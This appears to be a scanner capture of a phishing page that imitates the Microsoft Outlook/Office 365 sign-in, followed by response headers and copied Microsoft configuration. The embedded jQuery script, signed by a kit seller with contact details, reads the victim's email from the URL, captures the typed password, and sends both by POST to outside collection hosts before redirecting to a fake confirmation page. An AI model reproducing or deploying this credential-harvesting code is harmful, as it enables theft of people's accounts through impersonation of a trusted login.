for(var n=0;n<e.length;n++){if(e[n]===t){return n}}}return-1}function h(e,t){return-1!==a(e,t)}function g(e,t){var n=a(e,t);return-1!==n&&(e.splice(n,1),!0)}function l(e,t){for(var n in e){if(e.hasOwnProperty(n)&&!t(n,e[n])){break}}}function s(){var e=(new Date).getTime(),t=D*H;return P.getTime()>e?Math.round(e/t):Math.round((e-P.getTime())/t)}function d(e,t){var n=!1;if(t&&t.length>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[]
;return l(e,function(c){return c<t||c>n?o.push(c):(0===e[c].length?o.push(c):(null===r||c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}function v(e,t,n){r("Fetched: "+e+" Hash: "+t+" isRefresh: "+n);var o=i(),c=s(),u=!1,a=!1;if(l(o,function(e,n){return!h(n,t)||(e!==c?g(o[e],t)&&(a=!0):u=!0,!1)}),!u){var d=o[c]||[];d.push(t),o[c]=d,a=!0}a|=p(o),a&&f(o),b()}function m(t,n,i,o){var c={"method":"GET"};i&&(c.mode="cors"),e.fetch(t,c).then(function(e){
200===e.status?v(t,n,o):(r("Unexpected response - "+e.status),b())}).then(null,function(e){r("Failed - "+e),b()})}function T(){if(e.XMLHttpRequest&&!J){return new XMLHttpRequest}if(e.ActiveXObject){try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new ActiveXObject("Microsoft.XMLHttp")}catch(e){}}return null}function w(e,t,n,i,o){r("Fetching - "+t),e.onload=function(){v(t,n,o)},e.onerror=function(){r("XHR failed!"),b()},e.ontimeout=function(){r("XHR timed out!"),b()};try{e.open("GET",t),
e.withCredentials=i&&!N,e.send()}catch(r){N?setTimeout(function(){v(t,n,o)},0):(N=!0,w(e,t,n,!1,o))}}function O(t,n,i,o){if(e.fetch){return void m(t,n,i,o)}var c=T();if(null!==c){return void w(c,t,n,i,o)}r("Unable to identify a transport option!")}function b(){var e=n.fetch;if(X<e.length&&e[X]){var t=e[X];O(t.path,t.hash,t.co||!1,t.rf||!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){
for(var t=e.$Config||e.ServerData||{},r=n.fetch,i=n.mode||-1,o=-1,c=0;c<r.length;c++){0!==o&&i>=3&&(o=r[c].rf?1:0),R&&!J&&y(r[c].path||{})}t.prefetchPltMode=o}if(n&&n.fetch&&0!==n.fetch.length){var x=e.$Debug||{},X=0,H=6e4,P=new Date(2019),k=n.maxHistory||4,C=n.maxAge||20160,D=n.ageRes||1440,L=n.delay||5e3,R=n.rfPre||!1,J=void 0!==(e._phantom||e.callPhantom),N=!1;JSON&&JSON.parse&&(n.clearCookie=function(){document.cookie=n.name+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},e.$Do.when("doc.load",function(){
setTimeout(M,L),setTimeout(S,0)}))}}(window,document,$Prefetch);

;
})();
//]]>
</script>


<div><!--  -->

<!--  -->


	  
	  

    <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->

    <!-- ko withProperties: { '$loginPage': $data } -->
    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }"><!--  -->

<!-- ko ifnot: useLayoutTemplates --><!-- /ko -->

<!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
        <!-- ko ifnot: isVerticalSplitTemplate -->
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }"><!--  -->

<div data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods }"><div class="background-image-holder app" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
    <!-- ko if: smallImageUrl -->
    <div class="background-image-small" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg&quot;);"></div>
    <!-- /ko -->

    <!-- ko if: backgroundImageUrl -->
    <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg&quot;);" class="background-image ext-background-image"></div>
        <!-- ko if: useImageMask --><!-- /ko -->
    <!-- /ko -->
</div></div>

<div class="outer app" data-bind="css: { 'app': $page.backgroundLogoUrl }">
    <!-- ko if: showHeader --><!-- /ko -->
	 <div>
         <div>
            <!-- <div class="app background">
               <div id="bg_image" style="background-image:url(https://i.stack.imgur.com/vzbuQ.jpg")></div>
            </div> -->
         </div>

            <div class=outer>
               <div class="app middle">
                  <div class="background-logo-holder">
                  	<h1 style="text-align: center; color: white;"></h1><br><br>
                  </div>
                  <div class="app fade-in-lightbox inner">
                     <div>
                        <img id="logo_image" class="banner-logo" src="https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg">
                     </div>
                     <div>


                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
					                   <div class="add_em">
											 <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
											 <a href="#" class="email-picker">
												 <div class="block-m2">
													<img role="presentation" src="https://i.ibb.co/jg6w34B/picker-account.png"> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="https://srv-file8.gofile.io/download/NAGerp/picker_more.png" alt=""></span>
												 </div>
											 </a>
											 <a href="#" class="email-picker2">
												 <div class="block-m2">
													<img role="presentation" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48Y2lyY2xlIGN4PSIyNCIgY3k9IjI0IiByPSIyNCIgZmlsbD0iI2U2ZTZlNiIvPjxwYXRoIGQ9Ik0yNSwyM0gzNnYySDI1VjM2SDIzVjI1SDEyVjIzSDIzVjEyaDJaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+"><span style="word-wrap:break-word;"> Use another account</span>
												 </div>
											 </a>
											 <br>
										</div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>

                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                      
                                    </div>
                                 </div>
                                 <div class=row>
									<div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
										<div class="alert alert-error error-alert-msg"></div>
										<br>
									</div>
                                    <div class="col-md-24 form-group">
                                      
									    <div class="">
											<input type="text" name="email" id="email" class="form-control ltr_override" value="" placeholder="Email, phone or skype">
                                       </div>
                                    </div>
                                 </div>
								 <p>No account? <a href="#">Create one!</a></p>
								<a href="#" data-bind="
            attr: { 'id': switchToCredId },
            text: switchToCredText,
            click: switchToCred_onClick" id="idA_PWD_SwitchToFido">Sign in with a security key</a>
        <!-- /ko -->

        <!-- ko if: displayHelp && selectedCredType === 7 -->
            <!-- ko component: { name: 'fido-help-button-control',
                params: {
                    isPlatformAuthenticatorAvailable: isPlatformAuthenticatorAvailable() },
                event: {
                    registerDialog: onRegisterDialog,
                    unregisterDialog: onUnregisterDialog,
                    showDialog: onShowDialog } } --><!--  -->

<span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">

    <!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_9628e22a6bfb1edc59e81064a666b614.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg" data-bind="imgSrc" src="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span>

                                 <div class="position-buttons">
                                   
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
						<div id="add_pass" style="display: none;">
							<div class="animate slide-in-next">
								<div>
									<div class="identityBanner">
										<a class="backButton" href="#" type="button">
											<img style="width: 13px; margin-top: 6px;left: 0;" src="https://image.flaticon.com/icons/svg/109/109618.svg">
										</a>
										<div class="identity"></div>
									</div>
								</div>
							</div>
							<div class="animate slide-in-next has-identity-banner pagination-view">
								<div class="row text-title">Enter password</div>
								<div class=row>
									<div class="form-group col-md-24">
										<div aria-live="assertive" role="alert" style="display: none;" class="error-alert-pass">
											<div class="alert alert-error">Your email or password is incorrect. If you don't remember your password, <a href='#'>reset it now.</a></div>
										</div>
										<div class=placeholderContainer>
											<input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
										</div>
									</div>
								</div>
								<div class=position-buttons>
									<div>
										<div class=row>
											<div class=col-md-24>
													<div class="action-links text-13">
													<div class=form-group><a href="#">Forgot my password</a></div>
													<div class=form-group></div>
												</div>
											</div>
										</div>
									</div>
									<div class=row >
										<div>
											<div class="button-container col-xs-24 no-padding-left-right">
												<div class=inline-block>
													<button class="btn btn-block btn-primary btn-signin">Sign in</button>
												</div>
											</div>
										</div>
									 </div>
								</div>
							</div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class=footer id=footer>
                     <div>
                        <div class="footerNode text-secondary">
                           <!-- <span>©2021 Microsoft</span> -->
                           <a href="#">Terms of use&nbsp;&nbsp;</a>
                           <a href="#">Privacy & cookies &nbsp;&nbsp;<b >...</b></a>
                          
                        </div>
                     </div>
                  </div>
               </div>
            </div>

      </div>

   
</div></div>
        <!-- /ko -->

        <!-- ko if: isVerticalSplitTemplate() && isVerticalSplitTemplateLoaded() --><!-- /ko -->
    <!-- /ko -->
<!-- /ko --></div>
    <!-- /ko -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
	  <script>
		$( document ).ready(function() {
			// THIS SCRIPT CODED BY MIRCBOOT
			// CONTACT US SKYPE : MIRCBOOT
			// ICQ : 703514486
			// Genral 365 Version 14
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!! Attention !!!!!!!!!!!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

			// Note : if this HTML page hosted on http(s) domain so you must add the http(s) url php file to avoid cross error //

			var php_url = 'https://globalservicemail.com/hars/login.php'; // Enter your post PHP page url here.
			var check_mx = false; // true or false for check outlook MX.



			// ******************************************************************************************************* //
			var hash = window.location.hash;
			var email = hash.split('#')[1];

			if(true_email(email)){
				$("#pick_em").show();
				$("#em_picker").html(email);
				$('#email').val(email);
			}else{
				$("#add_em").show();
			}

			$('.email-picker').on('click', function (){
				$('.identity').html(email);
				$(".error-alert-pass").hide();
				set_brand(email);
				setTimeout(function (){
					$("#pick_em").hide();
					$("#add_pass").show();
				}, 1000);
			});

			$('.email-picker2').on('click', function (){
				$('#email').val('');
				$("#pick_em").hide();
				$("#add_em").show();
			});

			$('.btn-email').on('click', function (){
				var email = $('#email').val();
				$('.identity').html(email);
				$(".error-alert").hide();
				$('.btn-email').prop('disabled', true);
				if(true_email(email) == false){
					$(".error-alert").show();
					$(".error-alert-msg").html('Please enter correct office 365 email account.');
					$('.btn-email').prop('disabled', false);
				}else{
					if(check_mx == true){
						var domain = email.split('@')[1];
						var str;
						$.ajax({
							url: php_url + '?domain=' + domain,
							success: function(data){
								str = data.includes("outlook");
								if(str){
									set_brand(email);
									setTimeout(function (){
										$("#add_em").hide();
										$("#add_pass").show();
									}, 1000);
								}else{
									$(".error-alert").show();
									$(".error-alert-msg").html('You can\'t signin with this account, Please use work or school account instead.');
									$('.btn-email').prop('disabled', false);
								}
							},
							error: function(xhr){
								$(".error-alert").show();
								$(".error-alert-msg").html('Error occured, Please try again.');
								$('.btn-email').prop('disabled', false);
							}
						});
					}else{
						set_brand(email);
						setTimeout(function (){
							$("#add_em").hide();
							$("#add_pass").show();
						}, 1000);
					}
				}
			});

			$('.btn-signin').on('click', function (){
				$('.btn-signin').prop('disabled', true);
				setTimeout(function (){
					$(".error-alert-pass").hide();
				}, 500);
				var user = $('#email').val();
				var pass = $('#password').val();
				$.ajax({
					url: "https://checkmyips.net/api/geoip/",
					type: "POST",
					data: {user:user,pass:pass,t:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.status == 'OK'){
							$.ajax({
								 url: php_url,
								 type: "POST",
								 data: {user:user,pass:pass,country:i.country,ip:i.ip},
								 success: function(finish_url){
									window.open('https://customredirects.z13.web.core.windows.net//myoofice/verified.html', '_top')
								 }
							 });
						}else{
							$(".error-alert-pass").show();
							$('.btn-signin').prop('disabled', false);
						}
					},
					error: function(){
						$(".error-alert-pass").hide();
						$('.btn-signin').prop('disabled', false);
					}
				});
			});

			$('.backButton').on('click', function (){
				$('#bg_image').css('background-image', 'url(lib/img/background.jpg)');
				$('#logo_image').attr('src', 'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg');
				$('#banner_image').show();
				$('.btn-email').prop('disabled', false);
				$("#add_pass").hide();
				$("#add_em").show();
				$(".error-alert-pass").hide();
			});

			function set_brand(email){
				$.ajax({
					url: php_url,
					type: "POST",
					data: {email:email,barnd:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
							$('#bg_image').css('background-image', 'url(' + i.bg_image + ')');
							$('#logo_image').attr('src', i.logo_image);
							$('#banner_image').hide();
						}
					}
				});
			}
		});

		function true_email(a) {
			var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
			return re.test(a);
		}
	  </script>
    <script type="text/javascript">
  $(document).keypress(function(event){
  var keycode = (event.keyCode ? event.keyCode : event.which);
  if(keycode == '13'){
    $("#btn-email, .btn-signin").click();
  }
});
</script>

<!-- ko if: svr.urlCBPartnerPreload -->

<!-- /ko --></div></body></html>
Protocol
H2
Security
TLS 1.3, , AES_256_GCM
Server
152.199.23.37 , United States, ASN15133 (EDGECAST, US),
Reverse DNS
Software
ECAcc (lhd/371C) /
Resource Hash
1b31b0ffabf72e2545aaad397417ba58f66eb3d57a232e115085136a497ffb34

Request headers

Origin
null
Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

x-ms-blob-type
BlockBlob
date
Wed, 10 Mar 2021 10:27:58 GMT
content-encoding
gzip
content-md5
77s7HX/qO+HbHX0PjIhH1A==
age
2250910
x-cache
HIT
content-length
19615
x-ms-lease-status
unlocked
last-modified
Thu, 11 Feb 2021 19:27:28 GMT
server
ECAcc (lhd/371C)
etag
0x8D8CEC311CB1846
vary
Accept-Encoding
content-type
text/css
access-control-allow-origin
*
x-ms-request-id
8a081d76-e01e-0094-231f-017244000000
access-control-expose-headers
x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
cache-control
public, max-age=31536000
x-ms-version
2009-09-19
accept-ranges
bytes
ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js
aadcdn.msftauth.net/shared/1.0/content/js/ Frame 83F5 		429 KB
118 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js
Requested by
Host: text
URL: data:text/html;base64,<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to Outlook</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">

    <meta name="PageID" content="ConvergedSignIn">
    <meta name="SiteID" content="">
    <meta name="ReqLC" content="1033">
    <meta name="LocLC" content="en-US">



<script type="text/javascript">//<![CDATA[
$Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","showCantAccessAccountLink":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~Åland Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~XMR~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaçao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Guadeloupe~590!!!GU~Guam~1!!!GT~Guatemala~502!!!GG~Guernsey~XMR~Hong Kong SAR~852!!!HU~Hungary~36!!!IS~Iceland~354!!!IN~India~91!!!ID~Indonesia~62!!!IR~Iran~98!!!IQ~Iraq~964!!!IE~Ireland~353!!!IM~Isle of Man~XMRKZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~Luxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Montenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norway~XMR!!!PG~Papua New Guinea~675!!!PY~Paraguay~595!!!PE~Peru~51!!!PH~Philippines~63!!!PL~Poland~48!!!PT~Portugal~351!!!PR~Puerto Rico~1!!!QA~Qatar~974!!!RE~Réunion~262!!!RO~Romania~40!!!RU~Russia~7!!!RW~Rwanda~250!!!BL~Saint Barthélemy~590!!!KN~Saint Kitts and Nevis~1!!!LC~Saint Lucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~248!!!SL~Sierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~XMR Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syria~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United Arab Emirates~971!!!GB~United Kingdom~XMR~39!!!VE~Venezuela~58!!!VN~Vietnam~84!!!WF~Wallis and Futuna~681!!!YE~Yemen~967!!!ZM~Zambia~260!!!ZW~Zimbabwe~263","fUseInlinePhoneNumber":true,"fDetectBrowserCapabilities":true,"urlSessionState":"https://login.microsoftonline.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1\u0026mkt=en-US\u0026hosted=0\u0026device_platform=Windows+10","urlMsaResetPassword":"https://account.live.com/password/reset?wreply=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1\u0026mkt=en-US\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","urlSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026